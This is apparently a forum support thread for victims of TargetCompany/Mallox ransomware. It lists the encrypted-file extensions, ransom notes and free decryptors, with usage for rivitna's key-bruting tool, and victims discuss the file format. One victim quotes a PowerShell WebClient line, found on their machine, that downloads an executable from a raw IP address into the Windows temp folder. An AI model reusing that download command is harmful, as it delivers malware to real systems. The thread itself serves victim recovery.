TargetCompany/Mallox Ransomware (.tohnichi, .mallox, .xollam) Support Topic

Any files that are encrypted with TargetCompany/Mallox Ransomware will have a .tohnichi, .artiis, .herrco, .mallox, .brg, .architek, .herrco, .exploit, .carone, .avast, .consultransom, .devicZz, .bozon, .acookies, .bozon3, .FARGO, .Fargo3, .milovski, .xollam, .bitenc, .malox, .mawahelper, .brocamel, .encrypted, .malloxx, .ma1x0 extension appended to the end of the encrypted data filename and typically will leave files (ransom notes) named How to decrypt files.txt, HOW TO RECOVER !!.TXT, RECOVERY INFORMATION.txt, FILE RECOVERY.txt, RECOVERY INFORMATION !!!.txt, RECOVERY FILES.txt, How to decrypt files.txt, as explained here by Amigo-A (Andrew Ivanov). 

 
TargetCompany Ransomware encrypts user data using a combination of ChaCha20, AES-128, Curve25519 algorithms. 
 
Avast released a free TargetCompany Ransomware utility for victims of this ransomware which may restore encrypted files under certain circumstances. However, the criminals changed the encryption process for newer variants so the Avast decryptor does not support all variants. If you have 64-bit Windows, choose the 64-bit build (avast_decryptor_targetcompany64.exe); If you have 32-bit Windows, chose the 32-bit build (avast_decryptor_targetcompany.exe). Run the executable file to start the decryptor which leads you through the configuration of the decryption process.

• Avast TargetCompany ransomware decryptor download

If the Avast decryptor does not work on the variant which infected your files, rivitna (Andrey Zhdanov) may be able to help some victims of older variants. rivitna has provided a public link to the Mallab Decryptor for victims infected by several variants.

This decryptor brutes decryption key.
To get the decryption key, you need run the decryptor on the compromised computer (!).

MallabDecryptorEx.exe -type <ENCTYPE> -key <ENCFILE>

ENCTYPE:
  old_mallox *.mallox (from October 2022 to March 2023)
  old_xollam *.xollam (January 2023)
  bitenc     *.bitenc (January 2023)
  malox      *.malox (from April 2023 to July 2023)
  mallox     *.mallox (August 2023)
  xollam     *.xollam (August 2023)
  malloxx    *.malloxx (August 2023)
  mallab     *.mallab (from September 2023 to October 2023) (by default)

ENCFILE - any encrypted file.

If successfully, 'keys.bin' will be created. You don't need to do this stage anymore.

If Windows is reinstalled or the system disk is formatted, the key can also be bruted. In this case write me.
 
Here is the list of Mallox samples supported by the decryptor.
https://github.com/rivitna/Malware/blob/main/Mallox/Supported_samples.txt

 

To brute the decryption key, you need run the decryptor only on the compromised computer!!!
If Windows has been reinstalled or if the system disk has been formatted, the key can also be bruted.
In these cases, write to me.
 
If you have become a victim of the "corporate" version of Mallox, also write to me.

The decryptor can't brute the key, if Windows has been reinstalled or if the system disk has been formatted.
The decryptor doesn't also brute the key, if attackers used the "corporate" version of Mallox.

 

My files were ENCRYPTED by the virus. I checked each encrpted file。
The encrypted file has two characteristics, one is that the file is 88 bytes longer than the original file. The second is that the last 32 bytes of each file are the same. any one can help me? thanks a lot

hi,

my files were encrypted by the virus.

I check the files and found that  the encrypted file has two characteristics, one is that the file is 88 bytes longer than the original file. The second is that the last 32 bytes of each file are the same

I want to decrypt the file, can anyone help me？

 

This is what we call TargetCompany Ransomware

 

thank you ,but which one to choose? I don't konw which one fit my case

and I find the bash on my computer,which may be used to download the virus

$client = New-Object System.Net.WebClient  $client.DownloadFile("http://91.243.44.21/nwnew.exe","C:\Windows\TEMP\KPUZQQ6W.exe")  

 

This is what we call TargetCompany Ransomware

 

thans a lot ,

I think the encryption algorithm should not be AES, because if it is AES encryption, the length of the data should be an integer multiple of 16, but the length of my file is only 88 bytes longer, and every encrypted file is like this. If it is RSA encryption, the length of the secret key should be very large, it may be some kind of replacement algorithm

Topic title changed to reflect naming convention and direct other victims to this support topic.

caohaiwang

Michael Gillespie will look at your encrypted .mallox files as soon as he can. Be prepared to provide them.

Edited by Amigo-A, 26 November 2021 - 11:03 PM.

Do you have the malware executable? The link you provided is a 404...

I'm not seeing any link or attached files to assess.

Do you have the malware executable? The link you provided is a 404...

 

I'm not seeing any link or attached files to assess.

yes,It is 404. I checked the site at the first time when I found the powershell bash file. this site  may be false evidence left by hackers to confuse me.

caohaiwang

 

Michael Gillespie will look at your encrypted .mallox files as soon as he can. Be prepared to provide them.

thank you and Michael Gillespie very much . if you need some .mallox files more ,give me a email ,I send you the files 

is it possible  AES  CTR mode ,and the last 32bytes used to mark some thing? and other 56 bytes contains the key? 

Has anyone decrypted it？

Can you provide an encrypted file for me to check?

Can you provide an encrypted file for me to check?

yes i can.  i send a message .